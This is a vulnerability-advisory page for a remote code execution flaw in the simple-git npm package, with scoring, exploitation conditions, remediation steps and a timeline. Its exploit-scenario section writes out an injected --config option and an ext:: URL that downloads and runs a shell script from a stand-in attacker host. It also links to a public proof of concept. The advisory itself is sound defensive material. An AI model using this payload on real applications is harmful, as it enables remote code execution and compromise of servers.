Skip to main content

simple-git EUVDEUVD-2026-25639

| CVE-2026-6951 HIGH
Code Injection (CWE-94)
2026-04-25 snyk GHSA-hffm-xvc3-vprc
8.2
CVSS 4.0 · Vendor: snyk
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Access vulnerable Git endpoint
  2. Delivery
    Inject --config protocol.ext.allow=always option
  3. Exploit
    Submit ext:: URL with embedded commands
  4. Execution
    Trigger Git clone operation
  5. Persist
    Execute arbitrary shell commands
  6. Impact
    Achieve remote code execution

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the application to accept untrusted input that reaches simple-git's options argument parameter - specifically user-controlled data passed as the second argument to functions like git.clone(url, options) or similar methods. Vulnerable code patterns include directly passing user-supplied objects or query parameters to simple-git without option whitelisting, accepting repository configuration from external APIs or webhooks, or building Git command options dynamically from user input. The vulnerability does NOT affect applications that use simple-git with hardcoded options or those that strictly validate allowed Git parameters before invoking library functions. Attack requires network access to the vulnerable application endpoint that processes Git operations (AV:N) with low attack complexity (AC:L) but specific attack requirements exist (AT:P in CVSS v4.0), meaning the application must have the exploitable code path exposed. No authentication required (PR:N), no user interaction needed (UI:N). Limiting factors: many Node.js applications use simple-git only for internal operations with trusted parameters, reducing actual attack surface below theoretical maximum; applications behind authentication layers or those validating input schemes reduce practical exploitability; containerized or sandboxed execution environments limit post-exploitation impact even if RCE succeeds.

Impact

Real-world risk is moderate despite the 8.2 CVSS v4.0 score. The CVSS vector (AV:N/AC:L/AT:P/PR:N/UI:N) indicates network-accessible exploitation with low complexity but present attack requirements (AT:P). Critical context: exploitation requires the application to pass untrusted user input directly to simple-git's options parameter without validation - this is NOT the default usage pattern. EPSS score of 0.08% (24th percentile) suggests minimal observed exploitation attempts in the wild, indicating this is primarily exploited in targeted scenarios rather than mass scanning campaigns. SSVC assessment confirms POC availability and automatable exploitation with total technical impact, but the low EPSS despite POC existence suggests limited real-world attack surface. The vulnerability is an incomplete fix for a prior CVE, meaning developers who previously patched CVE-2022-25912 may have false confidence in their security posture. Primary risk applies to applications that: (1) accept repository URLs or Git options from untrusted sources, (2) use simple-git to process those inputs, and (3) run in environments where command execution has high impact (production servers, CI/CD agents with elevated privileges). Applications using simple-git purely for internal repository operations with hardcoded parameters face minimal risk. The combination of available patch, low EPSS, and specific exploitation prerequisites makes this a priority for affected users but not a widespread emergency.

Exploit ScenarioDerived

An attacker targets a Node.js web application that uses simple-git to clone user-specified repositories, such as a CI/CD platform or automated code analysis service. The attacker submits a malicious clone request with a specially crafted options object containing {"--config": "protocol.ext.allow=always"} and a repository URL like ext::sh -c curl% http://attacker.com/shell.sh|sh. The incomplete option sanitization allows the --config flag to pass through, enabling external protocol handlers. When simple-git executes the Git clone command, the ext:: URL triggers shell command execution, downloading and running the attacker's payload with the application's privileges. Publicly available proof-of-concept code exists (https://gist.github.com/KKC73/02d1d97f3410756095b501fda0ac8ca6), demonstrating the complete attack chain.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Apr 29, 2026

Remote code execution in simple-git before 3.36.0 allows unauthenticated attackers to execute arbitrary commands via incomplete sanitization of command-line options. The vulnerability bypasses the prior CVE-2022-25912 fix by accepting --config instead of the blocked -c flag, enabling protocol.ext.allow=always configuration and malicious ext:: URLs. Publicly available exploit code exists (POC confirmed), with EPSS score of 0.08% indicating low current exploitation probability despite the theoretical severity. SSVC framework classifies this as automatable with total technical impact.

Earlier versions of this analysis (1)
v1 Apr 25, 2026 - 05:45 CVSS 9.8

Remote code execution in simple-git JavaScript library (all versions before 3.36.0) allows unauthenticated network attackers to execute arbitrary commands when untrusted input reaches git operation options. This is a bypass of the previous CVE-2022-25912 fix - attackers can substitute --config for the blocked -c flag to inject malicious Git configuration enabling ext:: protocol handlers. Exploit proof-of-concept code publicly available (GitHub Gist KKC73). CVSS 9.8 Critical with EPSS exploitation status 'P' (Proof-of-concept exists). No CISA KEV listing at time of analysis, suggesting targeted rather than widespread exploitation despite critical severity.

RemediationAI

Upgrade simple-git to version 3.36.0 or later, which properly blocks both -c and --config flags to prevent Git configuration injection. Update package.json dependency to "simple-git": "^3.36.0" and run npm update or yarn upgrade. Vendor-confirmed fix available via GitHub commit 89a2294febed5dfe737c4c735d936bb6018746a8 at https://github.com/steveukx/git-js/commit/89a2294febed5dfe737c4c735d936bb6018746a8. If immediate upgrade is not feasible, implement strict input validation on all data passed to simple-git functions: whitelist allowed Git options using an explicit allowlist (never pass user-controlled objects directly to options parameters), validate repository URLs against a strict regex pattern allowing only https://, git://, or ssh:// schemes from trusted domains (explicitly reject ext::, file::, and other special protocols), and run Git operations in sandboxed environments with minimal privileges using containerization or restricted service accounts. Additional defense-in-depth: configure application firewalls to block outbound ext:: protocol attempts, implement Git operation timeouts to prevent long-running malicious commands, and audit existing codebases for patterns like git.clone(userInput) or git.raw([...userArray]). Note that input validation alone is insufficient for long-term security - upgrade remains the primary remediation. Advisory details at https://security.snyk.io/vuln/SNYK-JS-SIMPLEGIT-15456078 and exploit demonstration at https://gist.github.com/KKC73/02d1d97f3410756095b501fda0ac8ca6.

Affected VersionsENISA

simple-git 0 <3.36.0

Affected Packages

npm simple-git fix: 3.36.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

simple-git is a Node.js wrapper library for Git command-line operations, used to programmatically execute Git commands from JavaScript applications. This vulnerability stems from CWE-94 (Improper Control of Generation of Code), specifically incomplete input sanitization of Git command options. The library previously blocked the short-form -c flag to prevent Git configuration injection, but failed to block the functionally equivalent long-form --config flag. Git's protocol.ext.allow configuration option, when set to 'always', permits execution of arbitrary external protocol handlers. The ext:: URL scheme in Git can invoke shell commands, creating a classic command injection vector. When untrusted user input flows into simple-git's options argument (commonly in automated workflows, CI/CD pipelines, or web applications that clone repositories based on user-supplied URLs), attackers can inject --config protocol.ext.allow=always followed by an ext:: URL containing shell commands. The CPE identifier cpe:2.3:a:n/a:simple-git indicates this is a third-party Node.js package vulnerability affecting the entire simple-git library ecosystem.

Know when Simple Git gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (snyk) PRIMARY 8.2 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Red Hat 8.8 HIGH

Primary rating from Vendor (snyk).

CVSS VectorVendor: snyk

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

7
Analysis Updated
Apr 29, 2026 - 01:31 vuln.today
v2 - CVSS changed
Severity Changed
Apr 29, 2026 - 01:12 NVD
CRITICAL HIGH
CVSS changed
Apr 29, 2026 - 01:12 NVD
9.2 (CRITICAL) 8.2 (HIGH)
Patch released
Apr 29, 2026 - 01:00 nvd
Patch available
Patch available
Apr 25, 2026 - 07:16 EUVD
CVSS changed
Apr 25, 2026 - 06:22 NVD
9.8 (CRITICAL) 9.2 (CRITICAL)
CVE Published
Apr 25, 2026 - 05:00 nvd
HIGH 8.2

DescriptionCVE.org

Versions of the package simple-git before 3.36.0 are vulnerable to Remote Code Execution (RCE) due to an incomplete fix for CVE-2022-25912 that blocks the -c option but not the equivalent --config form. If untrusted input can reach the options argument passed to simple-git, an attacker may still achieve remote code execution by enabling protocol.ext.allow=always and using an ext:: clone source.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 8,575 npm packages depend on simple-git (6,142 direct, 2,515 indirect)

Ecosystem-wide dependent count for version 3.36.0.

Executive ViewAI

Why It Matters

simple-git versions before 3.36.0 contain a remote code execution vulnerability that allows unauthenticated attackers to execute arbitrary commands on systems using the library, bypassing previous security fixes through alternative command-line flag injection. Organizations using simple-git in production applications face immediate risk of system compromise and should prioritize patching to prevent potential takeover of affected infrastructure.

Business Impact: High
Compensating Controls

Vendor-released patch: simple-git 3.36.0 or later. If immediate patching is not possible: (1) Implement network segmentation to restrict outbound connections from systems running simple-git; (2) Apply input validation at the application layer to reject git operations with suspicious command-line flags; (3) Run affected services with minimal privileges using OS-level process isolation; (4) Monitor git command execution logs for suspicious --config or protocol.ext usage patterns.

Threat Intelligence Overview

EPSS Score
0.1%
Top 76% exploitable
Threat Intel
1
1 source
Social Media
4
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Total

Priority Score

41
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +41
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy